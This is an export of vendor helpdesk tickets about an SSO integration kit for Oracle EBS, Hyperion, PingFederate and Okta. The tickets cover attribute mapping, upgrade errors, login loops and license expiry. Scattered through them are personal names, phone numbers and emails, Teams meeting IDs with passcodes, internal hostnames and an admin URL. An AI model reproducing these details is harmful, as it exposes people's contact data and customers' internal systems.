Hi Anil Dutta, Could you please send us an update on this ticket 1140. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1140> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1141

SUBJECT : Convert claims value in lower case

PROBLEM DESCRIPTION : Hi We have BPA/Supplier users created in BPA application/database. These are external users and access Unifier application. We are having Unifier application SSO authentication issues for the these users if their userid/username is mixed case in BPA application. We have users created with lowercase name in unifier application; users are not able to login into the application when claims comes in mixed case from BPA. We want a functionality to convert claims value e.g. userid, email etc into lower case in Authenion before passing it to the unifier application. Can you please check this requirement and suggest further? Can Authenion development team provide this functionality/requirement? What is the procedure to add this new requirement in existing Authenion setup?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, This feature is not available at this point .We will discuss with our development team and give you an update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1141>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We wont be able to facilitate this custom function as per your requirements. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1141> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1142

SUBJECT : Likemind Pingfed~Okta Attribute validation

PROBLEM DESCRIPTION : Team, We want to quickly check the configuration for Likemind to Pingfed/Okta and Likemind to EBS, specifically we would like to know which Likemind/Pingfed attribute maps to okta and Oracle EBS.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.57

seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Activision DBA, please send us a meeting invitation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1142> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1142> Regards, EIK Support Team (Sandeep) ?Document attached. <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We would like to know PF OKTA Role, attribute mapping (specifically which OKTA attributes are we mapping with PF attribute) and EIK EBS attributes mapping for user authentication/validation. PFA diagram of architecture and SSO flow. Q: 1. Can we map 2 attributes for PF Okta mapping ( if we dont find email address check UPN)? 2. Can we map 2 attributes for EIK EBS mapping like user\_name or Email address?

Hi Activision DBA, Based on our discussion with You ,Tuan & team, Hope you were able to gather the required info. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1142>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, (Sandeep/Francis) ? From an EIK-EBS standpoint: Q 2. Can we map 2 attributes for EIK EBS mapping like user\_name or Email address? A 2. EIK-EBS can only be mapped to One attribute either user\_name or email for EBS Authentication. ? What is the requirement to map two attributes between PF & Okta ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1142> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, If you have any queries regarding okta, please refer the documentation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1142> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1143

SUBJECT : Freshdesk test ticket

PROBLEM DESCRIPTION : This is a test ticket for Freshdesk support only.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-10-26 10:52:49 UTC

Hi Ashutosh. jakhotra, ?Did not receive any notification on FD Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1143> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1144

SUBJECT : Will EBS kit work with Pingfederate 11.3.1

PROBLEM DESCRIPTION : Guided to upgrade to EIK ver 2.3.1.0.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-10-30 17:25:33 UTC

TICKET DISPLAY ID : 1145

SUBJECT : UAT EIK Server giving error on

<https://ebsuat-sso.oci.becpsn.com/EBSOUAT1/ssologin?>

PROBLEM DESCRIPTION : Facing error in UAT authenion environment. It is giving 404 not found

error 2023/11/08 10:22:41 [error] 13985#13985: \*5576 open()

"/home/appuser/authenion-2.0/authenion/server/html/favicon.ico" failed (2: No such file or directory),

client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET /favicon.ico HTTP/1.1", host:

"ebsuat-sso.oci.becpsn.com", referrer: "https://ebsuat-sso.oci.becpsn.com/EBSOUAT1/ssologin?"

2023/11/08 10:23:23 [error] 13985#13985: \*5576 open()

"/home/appuser/authenion-2.0/authenion/server/html/EBSOUAT1/ssologin" failed (2: No such file or

directory), client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET

/EBSOUAT1/ssologin? HTTP/1.1", host: "ebsuat-sso.oci.becpsn.com", referrer:

"https://ebsouat1.oci.becpsn.com/" 2023/11/08 10:26:44 [error] 15646#15646: \*17 open()

"/home/appuser/authenion-2.0/authenion/server/html/EBSOUAT1/ssologin" failed (2: No such file or

directory), client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET



/EBSOUAT1/ssologin? HTTP/1.1", host: "ebsuat-sso.oci.becpsn.com", referrer:  
"https://ebsouat1.oci.becpsn.com/" 2023/11/08 10:38:19 [error] 15646#15646: \*297 open()  
"/home/appuser/authenion-2.0/authenion/server/html/EBSOUAT1/ssologin" failed (2: No such file or  
directory), client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET  
/EBSOUAT1/ssologin? HTTP/1.1", host: "ebsuat-sso.oci.becpsn.com", referrer:  
"https://ebsouat1.oci.becpsn.com/" 2023/11/08 10:59:16 [error] 15646#15646: \*801 open()  
"/home/appuser/authenion-2.0/authenion/server/html/EBSOUAT1/ssologin" failed (2: No such file or  
directory), client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET  
/EBSOUAT1/ssologin? HTTP/1.1", host: "ebsuat-sso.oci.becpsn.com", referrer:  
"https://ebsouat1.oci.becpsn.com/" 2023/11/08 10:59:16 [error] 15646#15646: \*801 open()  
"/home/appuser/authenion-2.0/authenion/server/html/favicon.ico" failed (2: No such file or directory),  
client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET /favicon.ico HTTP/1.1", host:  
"ebsuat-sso.oci.becpsn.com", referrer: "https://ebsuat-sso.oci.becpsn.com/EBSOUAT1/ssologin?"  
2023/11/08 11:44:03 [error] 26841#26841: \*43 open()  
"/home/appuser/authenion-2.0/authenion/server/html/EBSOUAT1/ssologin" failed (2: No such file or  
directory), client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET  
/EBSOUAT1/ssologin? HTTP/1.1", host: "ebsuat-sso.oci.becpsn.com", referrer:  
"https://ebsouat1.oci.becpsn.com/" 2023/11/08 11:44:03 [error] 26841#26841: \*43 open()  
"/home/appuser/authenion-2.0/authenion/server/html/favicon.ico" failed (2: No such file or directory),  
client: 10.220.216.241, server: ebzuat-sso.becpsn.com, request: "GET /favicon.ico HTTP/1.1", host:  
"ebsuat-sso.oci.becpsn.com", referrer: "https://ebsuat-sso.oci.becpsn.com/EBSOUAT1/ssologin?"  
SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Anil Dutta, Please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1145> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please update us on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1145> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We did not hear from you, Kindly re open the same ticket if needed. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1145> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1146

SUBJECT : Error after upgrading to 2.3.0.3

PROBLEM DESCRIPTION : After deploying 2.3.0.3 and starting the services, I get the error below in the log files. The last time I deployed the war file I had the issue with the same id appearing after logins, but I wasn't seeing these errors... I reverted to the old apache tomcat home with 2.2.x war file and it's connecting successfully. Please join our call.

org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authClientController': Unsatisfied dependency expressed through field 'authService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'com.likeminds.ebsauth.service.AuthService': Unsatisfied dependency expressed

through field 'langUtil'; nested exception is  
org.springframework.beans.factory.BeanCreationException: Error creating bean with name  
'com.likeminds.ebsauth.core.EikLanguageHandlerUtil': Invocation of init method failed; nested  
exception is com.likeminds.ebsauth.exception.AuthException: EIK\_SQL\_CONNECTION\_ERROR  
2023-11-09T02:36:17.931-0500 ERROR [main] [org.springframework.web.context.ContextLoader]  
Context initialization failed org.springframework.beans.factory.UnsatisfiedDependencyException:  
Error creating bean with name 'authClientController': Unsatisfied dependency expressed through  
field 'authService'; nested exception is  
org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with  
name 'com.likeminds.ebsauth.service.AuthService': Unsatisfied dependency expressed through field  
'langUtil'; nested exception is org.springframework.beans.factory.BeanCreationException: Error  
creating bean with name 'com.likeminds.ebsauth.core.EikLanguageHandlerUtil': Invocation of init  
method failed; nested exception is com.likeminds.ebsauth.exception.AuthException:  
EIK\_SQL\_CONNECTION\_ERROR 2023-11-09T03:38:58.421-0500 ERROR [Catalina-utility-2]  
[com.likeminds.ebsauth.datasource.DataSourceManager] SQL Error: java.sql.SQLException:  
Unable to start the Universal Connection Pool: oracle.ucp.UniversalConnectionPoolException:  
Cannot get Connection from Datasource: java.sql.SQLException: ORA-01017: invalid  
username/password; logon denied

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0  
seen\_articles:

"["48001246046","48001170689","48001247740","48001170572","48001170691"]"

enterprise\_enabled: false referrer:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/1139 portal\_url:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 239 205 566 570 Passcode: nd3Xp3 Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 117 258 521 1 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,483847630# United States, Fort Lauderdale Phone Conference ID: 483 847 630#

```
[eikuser@aoc01apoidpdi01 META-INF]$ cat MANIFEST.MF Manifest-Version: 1.0
Implementation-Title: ebsauth Implementation-Version: 2.3.0.3 Built-By: vikra Specification-Title:
ebsauth Implementation-Vendor-Id: com.likeminds.ebs Created-By: Apache Maven 3.6.1 Build-Jdk:
1.8.0_261 Specification-Version: 0.0 ***** Version that shows in the log file:
2023-11-09T03:10:48.371-0500 DEBUG [main] [com.likeminds.ebsauth.config.EbsWebInitializer]
Initializing EBS Integration Kit 2023-11-09T03:10:48.381-0500 INFO [main]
[com.likeminds.ebsauth.config.EbsWebInitializer] EIK Version 2.2.0.5 starting up
```

Hi Carla Chan, ?Noted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1146>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not  
reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Team, Today's call with Office Depot, As we discussed yesterday, the Tomcat services were  
restarted and we didn't find any errors in the logs, EIK version was shown as 2.3.0.3 successfully.  
User logins were successfully tested by Carla.

TICKET DISPLAY ID : 1147

SUBJECT : EIK KIT Upgradation in Production

PROBLEM DESCRIPTION : LMS Guided the to Upgrade the EIK KIT in Production from Ver

2.2.0.11 to ver 2.3.1.0 User were able to successfully test the SSO activities.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-11-12 08:09:45 UTC

TICKET DISPLAY ID : 1148

SUBJECT : EBS KIT for Empower application is going in authentication loop

PROBLEM DESCRIPTION : Hi Team, We are using EBSKIT for Empower application's SSO integration. It was working fine earlier. Recently app team has changed database and app URL. After those changes application is going in a loop of authentication and actual app page is not getting populated. I have doubt that it is happening because of below change. Old App URL: ebs\_landing\_page=https://empuat.enbduat.com/OA\_HTML/OA.jsp?OAFunc=OAHOMEPAGE New App URL: ebs\_landing\_page=https://emptest1.uat.emiratesnbd.com/OA\_HTML/OA.jsp?OAFunc=OAHOMEPAGE Redirect URI: redirect\_uri=https://pfuat.enbduat.com/EBSAuth/handler cookie domain: icx\_cookie\_domain=.enbduat.com I have tried with changing cookie domain to .uat.emiratesnbd.com and .emiratesnbd.com but still getting same issue. I have attached logs for your reference.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 seen\_articles: ["48001228099","48001188027"] enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/solutions/articles/48001228099-eik-prod-temporary-license-expires-01-jan-2023- portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi chiragpa, Could you please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1148> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Team, I have sent invite on your support id. You can join using below details as well. Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 382 242 254 823 Passcode: aw4MYN Download Teams | Join on the web Or call in (audio only) +971 600 575918,,411346195# United Arab Emirates, All Locations Phone Conference ID: 411 346 195# Find a local number | Reset PIN Learn More | Meeting options Thank you, Chirag You can join using below detaisl.

SSO login page URL does not redirect to the Application landing page it keeps prompting to re-login (looping). We observed that the application domain and PF domain was different. We have suggested adding virtual Host Name (pfuat.uat.emiratesnbd.com) in the pingfederate side for the new EBS Application URL New App URL: ebs\_landing\_page=https\:\/\/emptest1.uat.emiratesnbd.com/OA\_HTML/OA.jsp?OAFunc\=OAHOMEPAGE. Also they were facing some issues with the EBS Application from their side. LMS suggested to sort-out the domain issue and regenerate the config file. They will get back to us, once it is fixed.

SSO login page URL does not redirect to the Application landing page it keeps prompting to re-login (looping). We observed that the application domain and PF domain was different. LMS suggested to sort-out the domain issue and regenerating the config file. We have also suggested adding virtual Host Name (pfuat.uat.emiratesnbd.com) in the pingfederate side for the new EBS Application URL New App URL: ebs\_landing\_page=https\:\/\/emptest1.uat.emiratesnbd.com/OA\_HTML/OA.jsp?OAFunc\=OAHOMEPAGE. Note: Fire-wall restrictions on URL to be permitted.

Hi Chiragpa, Could you please send us an update on this issue. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1148> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, EBS team has now white listed new Ping federate URL with virtual host and redirection is happening properly. but we are getting below error page. Thank you, Chirag

Hi Chiragpa, Is it the test URL you are trying to login. URL :  
<https://pfuat.uat.emiratesnbd.com:9031/EBSAuth/ssologin> Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1148> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Application URL is : "https://emptest1.uat.emiratesnbd.com"  
redirect\_uri=https://pfuat.uat.emiratesnbd.com:9031/EBSAuth/handler Here  
pfuat.uat.emiratesnbd.com is the virtual host which we have configured last time. Earlier it was as below. redirect\_uri=https://pfuat.enbduat.com/EBSAuth/handler Thank you, Chirag

Hi Chiragpa, Please use the below test url for sso login. URL :  
<https://pfuat.uat.emiratesnbd.com:9031/EBSAuth/ssologin> Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1148> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

SSL server certificate to be imported on newly created: pfuat.uat.emiratesnbd.com

Hi Chiragpa, Kindly give us an update on this ticket based on our last call. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1148> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Requesting you to please keep this ticket open until this week as we are parallely checking with Ping Support as well. Tarun.

Hi Chiragpa, ?Please give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1148> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1149

SUBJECT : License Expired

PROBLEM DESCRIPTION : Both EIK and LMConnect Licenses got expired in production today and users are not able to login, Please send the License Files ASAP. Call me at 2484620462

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://likemindsconsultinghelp.freshdesk.com/support/home> portal\_url:

<https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Asha Vemireddy, We have sent the both(EIK&LMConnect) licenses. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1149> Regards, EIK Support Team <-- This



message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Asha Vemireddy, We have provided you with the License for EIK & Lmconnect, Kindly acknowledge receipt of the same. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1149> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1150

SUBJECT : DAISTG - APEX - "Failure of Web Server Bridge: Internal processing error"

PROBLEM DESCRIPTION : DAISTG instance was refreshed over week-end and still we are getting ?Failure of Web Server bridge: Internal processing error?, when I check this error in metalink, I found some documentations to fix this issue and those documents are attached to this mail. Could you please review the above attached documents and if anything is applicable to our situation, could you please help us in fixing the same I have already created Navisite ticket INC2493392 to check the same Let me now if we need to create any other tickets to check this issue. Thanks & Regards, Srinivas Garnepudi

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
<https://support.likemindsconsulting.com/support/tickets> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Srinivas\_garnepudi, This looks related to the Application, kindly let your app team confirm on this.

? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1150> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Likeminds team, Application one, Navisite is working on it, but could you please check remaining two document which has WebLogic server issues. Appreciate all your help on this issue. Thanks & Regards, Srinivas Garnepudi

Hi Srinivas\_garnepudi, Sure, we will have a look and give you an update on this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1150> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Srini, I have checked local apex local URL is working fine. APEX LOCAL URL: [http://daieasd1.daiglobal.net:7005/apex/apex\\_admin](http://daieasd1.daiglobal.net:7005/apex/apex_admin) Pradeep Chaudhary Senior Consultant (m) +91-965-062-3339 [pchaudhary@navisite.com](mailto:pchaudhary@navisite.com) [www.navisite.com](http://www.navisite.com)

Hi Srinivas\_garnepudi, Please send us a meeting invite so that we can get more clarity on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1150> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Muthu and Tuan, Sorry to pull you guys into this without any prior notification. We had a support session today with both Navisite support and EIK support teams about an issue that has been ongoing in our STG environment for over two months. From my understanding, the Oracle team can access Oracle in STG environment via SSO with no issues. However, if they attempt to process a

request to write into the DB hosted in STG (Navisite), that traffic is being dropped throwing an internal error as attached. I am made to understand that a redirect from EBS Apache to a Navisite system may be the issue here. @Srinivas Garnepudi ? please provide more clarity to the problem description, if I left out any vital information or may have misinterpreted the problem: Basic troubleshooting amongst the teams is pointing to issues related to the EBS Apache server in DAI Dev ? EIK support investigated the EIK logs and confirms no issues on the integration part and Navisite team confirms no errors on the DB connection side. We would be grateful for your expertise in looking into the EBS Apache server and providing guidance on this issue. This has become a work stoppage for the Oracle team and is negatively impacting business operations. Thank you.

William Arung Manager, Cybersecurity (IAM) DAI Technology Office - +1(301) 771 7316

Hello William/Srinivasan, Could you please send us a meeting invite today @ 10:30 pm ist (12 pm noon est) to discuss this issue.

Hi Srinivas, As discussed please provide us with the STAGE NW trace as well. PS: Muthu, Tuan was also in the meeting along with LMS support.

Hi Srinivas\_garnepudi, Kindly give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1150> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Srinivas\_garnepudi, Please note that we are closing this ticket, however, you can reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1150> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Likeminds team, William is back from Vacation and we are going to provide log files sometime today. Don't close this ticket as we have to resolve this issue. Thanks & Regards, Srinivas Garnepudi

Hi Srinivas\_garnepudi, We are re-opening this ticket as requested by you, based on your email. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1150> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Guys, We were able to identify some possible root causes for this issue being low disk space on the Apache server and the Apache web services not running. With help from our Linux admin, some modifications were done to address these issues. Initial testing carried out by Srinivas seems to work with no issues. Please give us 24hrs more to fully test the environment and provide feedback to you. Thanks. William Arung Manager, Cybersecurity (IAM) DAI Technology

TICKET DISPLAY ID : 1151

SUBJECT : We are getting 'Failed to commit' message during url redirection after session timeout in Hyperion workspace

PROBLEM DESCRIPTION : We are getting 'Failed to commit' message during URL redirection after timeout happens in hyperion workspace. Requirement is that URL should redirect to workspace home page after timeout happens. We have attached trace file for your reference.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Sure Prateek , We will check and let you know ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Can you please send authenion logs as well. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please check below image. What is the use of this /interop resource in hyperion application? Actually for authenion, the request is going back to hyperion as expected. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi , /interop resource is being used for Hyperion shared services.

Hi Prateek Jain, Could you please add the /interop resource in authenion console. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please refer attached screen shot for what we have under resources in Authenion.

Sure Prateek Jain, We will take a look on this once. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Could you please add the /interop in Hyperion-exclude resources. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

could you please share what issue do you see if /interop resource is not added as excluded resource.

Hi Prateek Jain, In the network trace, we identified that the specified resource is generating a 404 error. We want to investigate whether this is contributing to the pop issue. Consequently, we have requested the inclusion of the "/interop" resource in the list of excluded resources. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have made the suggested change and are testing the workspace SSO again. We will update the ticket with our findings.

Ok Sure Prateek . Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not

reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Kindly give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Issue is still there.

Hi Prateek Jain, Can you please send us a meeting invite to look into it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Could you please share the network trace once the resource has been added. Additionally, please send all authentication log files during the issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Issue is still there. We have uploaded latest trace file for your reference.

Hi Prateek Jain, Also please send all authentication logs . Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please send a meeting invitation according to your availability. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please note that we are closing this ticket, however, you can reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Kindly reopen this ticket. This issue is critical

Hi, Can you please reopen ticket number 1151 that is with description ?'Failed to commit' message during url redirection after session timeout in Hyperion workspace #1151?. This issue is critical for us and We need its fix. Thanks Abhinav

Hi Prateek Jain/Abhinav, We are re-opening ticket 1151 as requested. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



Please suggest time for call for tomorrow i.e. 3-Jan.

Hi Prateek Jain/Abhinav, Send us a meeting invite to discuss this issue. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Sure.. will send meeeting invite tomorrow.

Ok Noted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain/Abhinav Please send us a meeting invite to address this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

